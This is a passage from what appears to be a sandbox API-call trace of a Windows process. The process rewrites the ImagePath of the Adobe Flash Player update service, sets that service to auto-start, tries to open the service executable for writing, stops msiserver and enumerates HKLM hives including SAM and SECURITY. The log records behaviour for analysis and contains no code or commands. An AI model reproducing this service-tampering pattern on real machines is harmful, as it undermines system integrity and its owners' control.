lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.607] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0224.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0224.608] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0224.608] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0224.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.608] LocalFree (hMem=0x7f03d0) returned 0x0 [0224.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0224.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x21f4778, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpUsedDefaultChar=0x0) returned 63 [0224.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.609] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0224.609] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x803990 [0224.652] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0224.654] CloseServiceHandle (hSCObject=0x803990) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.654] RegCloseKey (hKey=0x150) returned 0x0 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0224.654] RegCloseKey (hKey=0xc4) returned 0x0 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0224.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0224.654] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0224.654] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.655] GetLastError () returned 0x20 [0224.655] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0224.655] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0224.655] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0224.656] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x8038a0 [0224.656] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0224.747] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0224.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0224.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0224.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0224.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0224.747] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.748] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.748] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.748] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.748] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.749] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.749] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.749] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.749] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.749] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0224.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.750] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0224.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.750] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, 